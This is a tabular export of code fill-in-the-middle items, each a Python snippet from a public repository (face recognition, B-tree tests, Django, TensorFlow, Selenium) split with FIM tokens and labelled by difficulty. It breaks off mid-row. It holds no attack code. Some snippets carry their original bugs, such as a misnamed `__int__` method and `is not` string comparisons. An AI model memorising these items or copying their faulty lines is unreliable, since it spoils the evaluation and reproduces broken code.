text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: skyoflove1406/FaceDetectRecog_ZEDCam path: /face_recog_ZED.py
# Detection and Recognition using ZED Camera
import cv2, sys, os, math
import numpy as np
import pyzed.sl as sl
camera_settings = sl.CAMERA_SETTINGS.CAMERA_SETTINGS_BRIGHTNESS
str_camera_settings = "BRIGHTNESS"
step_camera_sett... | code_fim | hard | {
"lang": "python",
"repo": "skyoflove1406/FaceDetectRecog_ZEDCam",
"path": "/face_recog_ZED.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
for (x, y, w, h) in faces:
cv2.rectangle(im, (x, y), (x + w, y + h), (255, 0, 0), 2)
face = gray[y:y + h, x:x + w]
face_resize = cv2.resize(face, (width, height))
... | code_fim | hard | {
"lang": "python",
"repo": "skyoflove1406/FaceDetectRecog_ZEDCam",
"path": "/face_recog_ZED.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>for seed in range(100):
train_ch_df, val_df = train_test_split(train_df, test_size=0.25, random_state=seed, stratify=train_df['stratify'])
ratios = []
for tag in ['PERSON', 'ORGFACPOS', 'LOCATION']:
val_ntag_per_record = val_df[tag].sum() / val_df.shape[0]
train_ntag_per_record... | code_fim | hard | {
"lang": "python",
"repo": "gott51010/nazo",
"path": "/masking/code/pre.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> return output[1:] # ダミーのラベルを除いて出力
tagged_tokens = []
texts = train_ch_df.text.values
labels_list = train_ch_df.labels.values
file_ids = train_ch_df.file_id.values
for text, labels in zip(texts, labels_list):
output = format_iob(text, labels)
output = '\n'.join([f'{l[0]} {l[1]}-{l[2]}' if ... | code_fim | hard | {
"lang": "python",
"repo": "gott51010/nazo",
"path": "/masking/code/pre.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gott51010/nazo path: /masking/code/pre.py
import subprocess
import glob
import pandas as pd
import regex
from sklearn.model_selection import train_test_split
# import TensorFlow as tf
import spacy
import pickle
nlp = spacy.load('ja_ginza')
doc = nlp('銀座でランチをご一緒しましょう。')
for sent in doc.sents:
... | code_fim | hard | {
"lang": "python",
"repo": "gott51010/nazo",
"path": "/masking/code/pre.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gbrown022/automate path: /ch5/fifth.py
# message = 'It was a bright cold day in April, and the clocks were striking thirteen.'
# count = {}
# for character in message:
# count.setdefault(character, 0)
# count[character] = count[character] + 1
# print(count)
theBoard = {'top-... | code_fim | hard | {
"lang": "python",
"repo": "gbrown022/automate",
"path": "/ch5/fifth.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Chapter 5 Questions
# 1. What does the code for an empty dictionary look like?
emptyDict = {}
# 2. What does a dictionary value with a key 'foo' and a value 42 look like?
myDict = {'foo': 42}
# 3. What is the main difference between a dictionary and a list?
# Dictionary is unordered, and has ... | code_fim | hard | {
"lang": "python",
"repo": "gbrown022/automate",
"path": "/ch5/fifth.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> for item in l:
self.assertEqual(str(item), bt[item])
self.assertEqual(l, list(bt))
def test_additions_random(self):
bt = BPlusTree(20)
l = list(range(2000))
random.shuffle(l)
for item in l:
bt.insert(item, str(item))
f... | code_fim | hard | {
"lang": "python",
"repo": "Alexey-N-Chernyshov/DMD_project",
"path": "/src/dbms/test/test_btree.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Alexey-N-Chernyshov/DMD_project path: /src/dbms/test/test_btree.py
import random
import pickle
import unittest
from btree import *
class BTreeTests(unittest.TestCase):
def test_additions(self):
bt = BTree(20)
l = list(range(2000))
for i, item in enumerate(l):
... | code_fim | hard | {
"lang": "python",
"repo": "Alexey-N-Chernyshov/DMD_project",
"path": "/src/dbms/test/test_btree.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: iida-hayato/factorio-not-included path: /code_gen.py
import urllib
import urllib.request
import urllib.error
print("starting code_gen")
# load tsv
import csv
with open('./code_gen.tsv', mode='r', newline='', encoding='utf-8') as f:
tsv_reader = csv.reader(f, delimiter='\t')
read_data = [r... | code_fim | medium | {
"lang": "python",
"repo": "iida-hayato/factorio-not-included",
"path": "/code_gen.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>if (entity_code != ""):
with open(out_path + '/image_tsv.tsv', mode='w', newline='', encoding='utf-8') as image_tsv_file:
image_tsv_file.write(image_tsv_code)
with open(out_path + '/entity.lua', mode='w', newline='', encoding='utf-8') as entity_file:
entity_file.write(entity_code)
... | code_fim | medium | {
"lang": "python",
"repo": "iida-hayato/factorio-not-included",
"path": "/code_gen.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def DiffT(self, v, gradin):
from keopscore.formulas import MatVecMult, VecMatMult
f, g = self.children
return f.DiffT(v, MatVecMult(gradin, g)) + g.DiffT(v, VecMatMult(f, gradin))<|fim_prefix|># repo: getkeops/keops path: /keopscore/keopscore/formulas/maths/TensorProd.py
from... | code_fim | hard | {
"lang": "python",
"repo": "getkeops/keops",
"path": "/keopscore/keopscore/formulas/maths/TensorProd.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: smirnoffmg/codeforces path: /469A.py
# -*- coding: utf-8 -*-
n = int(raw_input())
<|fim_suffix|>if len(p | q) >= n:
print('I become the guy.')
else:
print('Oh, my keyboard!')<|fim_middle|>p = set(filter(lambda x: x, map(int, raw_input().split(' '))[1:]))
q = set(filter(lambda x: x, map(i... | code_fim | medium | {
"lang": "python",
"repo": "smirnoffmg/codeforces",
"path": "/469A.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if len(p | q) >= n:
print('I become the guy.')
else:
print('Oh, my keyboard!')<|fim_prefix|># repo: smirnoffmg/codeforces path: /469A.py
# -*- coding: utf-8 -*-
n = int(raw_input())
<|fim_middle|>p = set(filter(lambda x: x, map(int, raw_input().split(' '))[1:]))
q = set(filter(lambda x: x, map(i... | code_fim | medium | {
"lang": "python",
"repo": "smirnoffmg/codeforces",
"path": "/469A.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>mask = create_connectors(network)
network = network.sort_nodes()
set_boundary_conditions(network)
#### JOB ####
job_name = 'Job-'+str(test_number)
def job():
mdb.Job(atTime=None, contactPrint=OFF, description='', echoPrint=OFF,
explicitPrecision=SINGLE, getMemoryFromAnalysis=True, history... | code_fim | hard | {
"lang": "python",
"repo": "AudeMulard/TissueModel",
"path": "/Documents/PhD/Code/TissueModel/new_solver_4.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AudeMulard/TissueModel path: /Documents/PhD/Code/TissueModel/new_solver_4.py
# -*- coding: mbcs -*-
from part import *
from material import *
from section import *
from assembly import *
from step import *
from interaction import *
from load import *
from mesh import *
from optimization import *
... | code_fim | hard | {
"lang": "python",
"repo": "AudeMulard/TissueModel",
"path": "/Documents/PhD/Code/TissueModel/new_solver_4.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
list_nodes_ridges=[[] for i in range(len(vertices))]
for i in range(len(ridge_vertices)):
list_nodes_ridges[ridge_vertices[i][0]].append(i)
list_nodes_ridges[ridge_vertices[i][1]].append(i)
def create_connectors(network):
connector_list=[]
for k in range(len(list_nodes_ridges)):
if int(network.di... | code_fim | hard | {
"lang": "python",
"repo": "AudeMulard/TissueModel",
"path": "/Documents/PhD/Code/TissueModel/new_solver_4.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Performs sentiment lexicon lookup on the tweets, and stores it in the objects.
"""
words = []
for t in tweets:
for phrase in t.tagged_words:
for word in phrase:
try:
if word["pos"] in TYPECRAFT_SENTIWORDNET:
... | code_fim | hard | {
"lang": "python",
"repo": "andrely/twitter-sentiment",
"path": "/lexicon/lexicon.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: andrely/twitter-sentiment path: /lexicon/lexicon.py
'''
Created on 27. nov. 2014
@author: JohnArne
'''
from hmac import trans_36
import requests
import os
from sentiwordnet import SentiWordNetCorpusReader, SentiSynset
import nltk
from pos_mappings import TYPECRAFT_SENTIWORDNET
import gettext
imp... | code_fim | hard | {
"lang": "python",
"repo": "andrely/twitter-sentiment",
"path": "/lexicon/lexicon.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
return self.translation_mapping[word]
except KeyError:
return None
class GoogleTranslater():
def __init__(self):
self.translation_url = "https://translate.google.com/#no/en/"
#The lines of words contain the original word first... | code_fim | hard | {
"lang": "python",
"repo": "andrely/twitter-sentiment",
"path": "/lexicon/lexicon.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Lombardoh/DjangoReact path: /tweets/migrations/0009_auto_20210615_1548.py
# Generated by Django 3.2.4 on 2021-06-15 18:48
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
<|fim_suffix|>
dependencies = [
migrations.swappable_d... | code_fim | medium | {
"lang": "python",
"repo": "Lombardoh/DjangoReact",
"path": "/tweets/migrations/0009_auto_20210615_1548.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AddField(
model_name='tweet',
name='parent',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='tweets.tweet'),
),
migrations.AlterField(
model_name='tweet',
... | code_fim | medium | {
"lang": "python",
"repo": "Lombardoh/DjangoReact",
"path": "/tweets/migrations/0009_auto_20210615_1548.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('tweets', '0008_auto_20210614_1233'),
]
operations = [
migrations.AddField(
model_name='tweet',
name='parent',
field=models.ForeignKey(null=True, on_delete=... | code_fim | medium | {
"lang": "python",
"repo": "Lombardoh/DjangoReact",
"path": "/tweets/migrations/0009_auto_20210615_1548.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: MDziwny/django-fsm path: /tests/testapp/tests/test_permissions.py
from django.contrib.auth.models import User, Permission
from django.test import TestCase
from django_fsm import has_transition_perm
from testapp.models import BlogPost
class PermissionFSMFieldTest(TestCase):
def setUp(self):... | code_fim | hard | {
"lang": "python",
"repo": "MDziwny/django-fsm",
"path": "/tests/testapp/tests/test_permissions.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_permission_instance_method(self):
self.assertFalse(has_transition_perm(self.model.restore, self.unpriviledged))
self.assertTrue(has_transition_perm(self.model.restore, self.staff))<|fim_prefix|># repo: MDziwny/django-fsm path: /tests/testapp/tests/test_permissions.py
from dja... | code_fim | hard | {
"lang": "python",
"repo": "MDziwny/django-fsm",
"path": "/tests/testapp/tests/test_permissions.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 2692715932/practicals-of-cp1404 path: /prac05/hex_colours.py
"""
CP1404/CP5632 Practical - Suggested Solution
A program that allows user to look up hexadecimal colour codes like those at http://www.color-hex.com/color-names.html
"""
<|fim_suffix|> """main()_method - starting point of the prog... | code_fim | hard | {
"lang": "python",
"repo": "2692715932/practicals-of-cp1404",
"path": "/prac05/hex_colours.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def main():
"""main()_method - starting point of the program"""
color_name = input("Enter the name of color: ").strip().upper() # strip white spaces. lowercase inputs also work
max_key_length = max([len(key) for key in NAME_TO_CODE.keys()])
while color_name != "":
if color_name i... | code_fim | hard | {
"lang": "python",
"repo": "2692715932/practicals-of-cp1404",
"path": "/prac05/hex_colours.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """main()_method - starting point of the program"""
color_name = input("Enter the name of color: ").strip().upper() # strip white spaces. lowercase inputs also work
max_key_length = max([len(key) for key in NAME_TO_CODE.keys()])
while color_name != "":
if color_name in NAME_TO_COD... | code_fim | hard | {
"lang": "python",
"repo": "2692715932/practicals-of-cp1404",
"path": "/prac05/hex_colours.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: silvareal/url-shortener path: /shorten/management/commands/refreshcodes.py
from django.core.management.base import BaseCommand, CommandError
from shorten.models import KirrURL
class Command(BaseCommand):
help = 'Refresh all shortcodes'
def add_arguments(self, parser):
<|fim_suffix|> ... | code_fim | medium | {
"lang": "python",
"repo": "silvareal/url-shortener",
"path": "/shorten/management/commands/refreshcodes.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def handle(self, *args, **options):
return KirrURL.objects.refresh_shortcode(items=options['items'])<|fim_prefix|># repo: silvareal/url-shortener path: /shorten/management/commands/refreshcodes.py
from django.core.management.base import BaseCommand, CommandError
from shorten.models import Kir... | code_fim | medium | {
"lang": "python",
"repo": "silvareal/url-shortener",
"path": "/shorten/management/commands/refreshcodes.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zerone-fg/mobilenet path: /download_pic_all2.py
import os
import argparse
import csv
import urllib
import urllib.request
import logging
import time
import traceback
import random #0 1 2 3 4 5 6 7 8 9 10 11 12
ColorList = ["银", "黑", "绿", "橙", "白", "灰"... | code_fim | hard | {
"lang": "python",
"repo": "zerone-fg/mobilenet",
"path": "/download_pic_all2.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def main(args):
logging.basicConfig(
filename=time.strftime("%Y%m%d_%H%M%S", time.localtime()) + "_download_pic.log",
level=logging.DEBUG,
format='%(asctime)s - %(levelname)s - %(message)s',
)
url_prefix = 'https://img1.bitautoimg.com/autoalbum/'
with open(args.in... | code_fim | hard | {
"lang": "python",
"repo": "zerone-fg/mobilenet",
"path": "/download_pic_all2.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: evendoom/scrapyard path: /profiles/urls.py
from django.urls import path
from . import views
urlpatterns = [
path('', views.update_profi<|fim_suffix|>age'),
path('login/', views.login_page, name='login_page'),
path('logout/', views.logout_page, name='logout_page'),
path('delete/',... | code_fim | medium | {
"lang": "python",
"repo": "evendoom/scrapyard",
"path": "/profiles/urls.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>age'),
path('login/', views.login_page, name='login_page'),
path('logout/', views.logout_page, name='logout_page'),
path('delete/', views.delete_user_page, name='delete_user_page'),
]<|fim_prefix|># repo: evendoom/scrapyard path: /profiles/urls.py
from django.urls import path
from . import vi... | code_fim | medium | {
"lang": "python",
"repo": "evendoom/scrapyard",
"path": "/profiles/urls.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: algakovic/python_playground path: /tinyprojects/val_battle_pass_calc/b_p_calc.py
#!/usr/bin/env python
'''
Author: ArkSealand
Date: 11.06.2021
Purpose: Valorant Battle Pass Calculator
'''
from datetime import date, datetime, timedelta
'''
features to implement:
1. Take into account ... | code_fim | hard | {
"lang": "python",
"repo": "algakovic/python_playground",
"path": "/tinyprojects/val_battle_pass_calc/b_p_calc.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># Base experience constants
tier50xp = sum((i*750)+500 for i in list(range(51))) #981750
tiergoalxp = sum((i*750)+500 for i in list(range((response_dict['Tier Goal'] + 1))))
cum_exp = sum((i*750)+500 for i in list(range((response_dict['Tier'] + 1))))
remaining = tiergoalxp - (cum_exp + response_dict['... | code_fim | medium | {
"lang": "python",
"repo": "algakovic/python_playground",
"path": "/tinyprojects/val_battle_pass_calc/b_p_calc.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> return True
def prime_factor(n):
m = n
primes = []
for i in range(2, n + 1):
if is_prime(i):
cur_prime = None
while (m % i) == 0 and ((m / float(i)) % 1 == 0):
cur_prime = i
t = m / i
if t % 1 != 0:
... | code_fim | hard | {
"lang": "python",
"repo": "skyying/euler",
"path": "/003/3.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: skyying/euler path: /003/3.py
import math
## Solution
# 做法,把這個數字除以第一個 `prime number`, 一直到無法整除,接下來除以第二個 `prime number...` 一次類推,一直到最後剩下的數字也是 `prime number` 爲止, 要考慮到不要一直重複的檢查某個數字是否爲prime, 只要有檢查過,就記下來。這樣之後再使用就可用O(1) 的時間來判斷是否是 `prime`
prime_list = {}
def is_prime(n):
primes = [2, 3, 5, 7]
... | code_fim | hard | {
"lang": "python",
"repo": "skyying/euler",
"path": "/003/3.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> for i in range(2, sr):
if n % i == 0:
return False
prime_list[n] = True
return True
def prime_factor(n):
m = n
primes = []
for i in range(2, n + 1):
if is_prime(i):
cur_prime = None
while (m % i) == 0 and ((m / float(i)) % 1 =... | code_fim | hard | {
"lang": "python",
"repo": "skyying/euler",
"path": "/003/3.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: begbaj/babelib path: /src/Users/models/UserType.py
class UserType:
id = 0
description = ""
<|fim_suffix|> pass
def __init__(self, id, description):
self.id = id
self.description = description<|fim_middle|> def __int__(self):
| code_fim | easy | {
"lang": "python",
"repo": "begbaj/babelib",
"path": "/src/Users/models/UserType.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, id, description):
self.id = id
self.description = description<|fim_prefix|># repo: begbaj/babelib path: /src/Users/models/UserType.py
class UserType:
id = 0
description = ""
<|fim_middle|> def __int__(self):
pass
| code_fim | easy | {
"lang": "python",
"repo": "begbaj/babelib",
"path": "/src/Users/models/UserType.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.id = id
self.description = description<|fim_prefix|># repo: begbaj/babelib path: /src/Users/models/UserType.py
class UserType:
id = 0
description = ""
<|fim_middle|> def __int__(self):
pass
def __init__(self, id, description):
| code_fim | medium | {
"lang": "python",
"repo": "begbaj/babelib",
"path": "/src/Users/models/UserType.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: carlwilhjelm/TweetMapper path: /TweetMapper/TweetDictByID.py
import json
from LocalDir import *
import pickle
from os import listdir
from os.path import isfile, join
<|fim_suffix|>allTweets = {}
failedRegex = 0
for file in onlyFiles:
with open(sourceDir + file) as jsonFile:
for line ... | code_fim | medium | {
"lang": "python",
"repo": "carlwilhjelm/TweetMapper",
"path": "/TweetMapper/TweetDictByID.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>allTweets = {}
failedRegex = 0
for file in onlyFiles:
with open(sourceDir + file) as jsonFile:
for line in jsonFile:
try:
tweet = json.loads(line, encoding=twitterEncoding)
tweetID = tweet['id_str']
allTweets[tweetID] = line
... | code_fim | medium | {
"lang": "python",
"repo": "carlwilhjelm/TweetMapper",
"path": "/TweetMapper/TweetDictByID.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_page_out_of_range(self):
pagination = Pagination(items_count=13,
items_per_page=5,
current_page=4,
show_pages_count=5)
assert pagination.current_page == 1
def test_page_out_of_... | code_fim | hard | {
"lang": "python",
"repo": "j-dro/heureka",
"path": "/app/test_models.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert pagination.total_pages_count == 40
assert pagination.show_pages_count == 5
assert pagination.current_page == 1
assert pagination.available_pages == [1, 2, 3, 4, 5]
assert pagination.prev_page is None
assert pagination.next_page == 2
def test_begi... | code_fim | hard | {
"lang": "python",
"repo": "j-dro/heureka",
"path": "/app/test_models.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: j-dro/heureka path: /app/test_models.py
from app.models import Pagination, Product, Offer, Category, AllCategories
class TestCategory:
def test_init(self):
category = Category(1, 'Category 1')
assert category.obj_id == 1
assert category.title == 'Category 1'
class ... | code_fim | hard | {
"lang": "python",
"repo": "j-dro/heureka",
"path": "/app/test_models.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> time.sleep(5)
self.task_name_field.send_keys("Task_%s" % value)
if value == "low":
self.low_field.click()
elif value == "medium":
self.medium_field.click()
elif value == "high":
self.high_field.click()
self.select_done... | code_fim | hard | {
"lang": "python",
"repo": "artakak/Desktop",
"path": "/features/lib/pages/create_task_page.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: artakak/Desktop path: /features/lib/pages/create_task_page.py
import time
from selenium.webdriver.common.by import By
from base_page_object import BasePage
from nose.tools import assert_equal, assert_true
class CreateTaskPage(BasePage):
locator_dictionary = {
"create_task_header": (... | code_fim | medium | {
"lang": "python",
"repo": "artakak/Desktop",
"path": "/features/lib/pages/create_task_page.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def create_task(self, value):
time.sleep(5)
self.task_name_field.send_keys("Task_%s" % value)
if value == "low":
self.low_field.click()
elif value == "medium":
self.medium_field.click()
elif value == "high":
self.high_field.cl... | code_fim | hard | {
"lang": "python",
"repo": "artakak/Desktop",
"path": "/features/lib/pages/create_task_page.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> if datatype == "binary":
tensor = binary_tensor()
elif datatype == "real":
tensor = RV_tensor()
else:
tensor = count_tensor()
tensor.synthesize_data(dims, means, covariances, real_dim, \
train=0.8, sparsity=1, noise=noise_amount, noise_ra... | code_fim | hard | {
"lang": "python",
"repo": "dnguyen1196/SSVI-TF",
"path": "/synthetic_test.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dnguyen1196/SSVI-TF path: /synthetic_test.py
import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
import argparse
from Tensor.real_tensor import RV_tensor
from Tensor.binary_tensor import binary_tensor
from Tensor.count_tensor import count_tensor
import numpy as n... | code_fim | hard | {
"lang": "python",
"repo": "dnguyen1196/SSVI-TF",
"path": "/synthetic_test.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zhouzhiqian/code path: /packages/robotControl/scenarios/testRobotInterface.py
# Copyright 2019 Jan Feitsma (Falcons)
# SPDX-License-Identifier: Apache-2.0
from robotScenarioBase import *
def testRobotInterface():
"""
A series of tests to check if all functionality provided by robotInter... | code_fim | hard | {
"lang": "python",
"repo": "zhouzhiqian/code",
"path": "/packages/robotControl/scenarios/testRobotInterface.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> if robot.seeBall():
print "TEST: ball position"
print robot.ballPosition()
print
print "TEST: ball velocity"
print robot.ballVelocity()
print
print "TEST: ball on same half"
print robot.ballOnSameHalf()
print
print "TES... | code_fim | hard | {
"lang": "python",
"repo": "zhouzhiqian/code",
"path": "/packages/robotControl/scenarios/testRobotInterface.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> print "TEST: get current velocity"
vel = robot.getVelocity()
print "velocity =", vel
print
print "TEST: move a bit"
robot.move(pos.x, pos.y + 0.5, pos.Rz)
print
print "TEST: which robots are active"
print robot.activeRobots()
print
print "TEST: teammembers ar... | code_fim | hard | {
"lang": "python",
"repo": "zhouzhiqian/code",
"path": "/packages/robotControl/scenarios/testRobotInterface.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rusuradu/airbus path: /image_one_line_pixel.py
lines = [line.rstrip('\n ') for line in open('input.csv')]
outFile = open('input_one_line.csv', "w")
<|fim_suffix|>for line in lines:
key = line.split(",")[0]
if dc.get(key) is not None:
outFile.write("%s,%s\n" %(key, dc[key]))
... | code_fim | hard | {
"lang": "python",
"repo": "rusuradu/airbus",
"path": "/image_one_line_pixel.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>for line in lines:
key = line.split(",")[0]
value = line.split(",")[1]
if dc.get(key) is None:
dc[key] = value
else:
dc[key] = dc[key] + (" %s" % value)
for line in lines:
key = line.split(",")[0]
if dc.get(key) is not None:
outFile.write("%s,%s\n" %(key, d... | code_fim | easy | {
"lang": "python",
"repo": "rusuradu/airbus",
"path": "/image_one_line_pixel.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>tree.heading("A", text="A")
tree.column("A",minwidth=0,width=200, stretch=NO)
tree.heading("B", text="B")
tree.column("B",minwidth=0,width=300)
root.mainloop()<|fim_prefix|># repo: UncleEngineer/TkinterTrick path: /00-tkinterwidth.py
from tkinter import *
from tkinter.ttk import *
root ... | code_fim | medium | {
"lang": "python",
"repo": "UncleEngineer/TkinterTrick",
"path": "/00-tkinterwidth.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: UncleEngineer/TkinterTrick path: /00-tkinterwidth.py
from tkinter import *
from tkinter.ttk import *
root = Tk()
tree = Treeview(root,selectmode="extended",columns=("A","B"))
<|fim_suffix|>tree.heading("#0", text="C/C++ compiler")
tree.column("#0",minwidth=80,width=100, stretch=NO)
tr... | code_fim | easy | {
"lang": "python",
"repo": "UncleEngineer/TkinterTrick",
"path": "/00-tkinterwidth.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: playertr/seabotix_alpha path: /seabotix_alpha_description/scripts/turbulence_experiment.py
#!/usr/bin/env python
import os
import errno
import time
import rospy
from uuv_world_ros_plugins_msgs.srv import SetCurrentVelocity
# Because of transformations
# import tf_conversions
# import tf2_ros... | code_fim | hard | {
"lang": "python",
"repo": "playertr/seabotix_alpha",
"path": "/seabotix_alpha_description/scripts/turbulence_experiment.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.info_file = os.path.join(self.log_dir, "run_info.txt")
self.log_file = os.path.join(self.log_dir, "data.csv")
with open(self.info_file, "w+") as f:
f.write("Period = {}\nMaxVel = {}".format(self.period, self.max_vel))
self.log_file_desc = open(self.log_fi... | code_fim | hard | {
"lang": "python",
"repo": "playertr/seabotix_alpha",
"path": "/seabotix_alpha_description/scripts/turbulence_experiment.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lisa0826/tf-google path: /04_exponential_moving_average.py
import tensorflow as tf
#定义一个变量用于计算滑动平均,这个变量的初始值为0,注意这里手动指定了变量的类型为tf.float32,因为所有需要计算滑动平均的变量必需是实数型
v1 = tf.Variable(0,dtype=tf.float32)
#这里step变量模拟神经网络中迭代的轮数,可以用于动态控制衰减率
step = tf.Variable(0, trainable=False)
#定义一个滑动平均的类(class),初始化时给定... | code_fim | medium | {
"lang": "python",
"repo": "lisa0826/tf-google",
"path": "/04_exponential_moving_average.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># 定义一个滑动平均的类(class),初始化时给定了衰减率(0.99)和控制衰减率的变量step
ema = tf.train.ExponentialMovingAverage(0.99, step)
# 定义一个更新变量滑动平均的操作,这里需要给定一个列表,每次执行这个操作时,这个列表中的变量都会被更新
maintain_averages_op = ema.apply([v1])
with tf.Session() as sess:
# 初始化所有变量
init_op = tf.global_variables_initializer()
sess.run(init_op)
# 通过ema... | code_fim | hard | {
"lang": "python",
"repo": "lisa0826/tf-google",
"path": "/04_exponential_moving_average.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># 定义一个更新变量滑动平均的操作,这里需要给定一个列表,每次执行这个操作时,这个列表中的变量都会被更新
maintain_averages_op = ema.apply([v1])
with tf.Session() as sess:
# 初始化所有变量
init_op = tf.global_variables_initializer()
sess.run(init_op)
# 通过ema.average(v1)获取滑动平均之后变量的取值,在初始化之后变量v1的值和v1的滑动平均都为0
print sess.run([v1, ema.average(v1)])
# 更新变量v1的值到5... | code_fim | hard | {
"lang": "python",
"repo": "lisa0826/tf-google",
"path": "/04_exponential_moving_average.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: reckoning-machines/oil_betas path: /oil.py
import numpy as np
import pandas as pd
import pandas_datareader as web
import statsmodels.api as sm
from statsmodels.regression.rolling import RollingOLS
from collections import OrderedDict
import streamlit as st
"""
To run from command line, install st... | code_fim | hard | {
"lang": "python",
"repo": "reckoning-machines/oil_betas",
"path": "/oil.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>df_out = pd.DataFrame()
for item in daily_returns.columns:
if item is not "Date" and item is not "USO" and item is not "index":
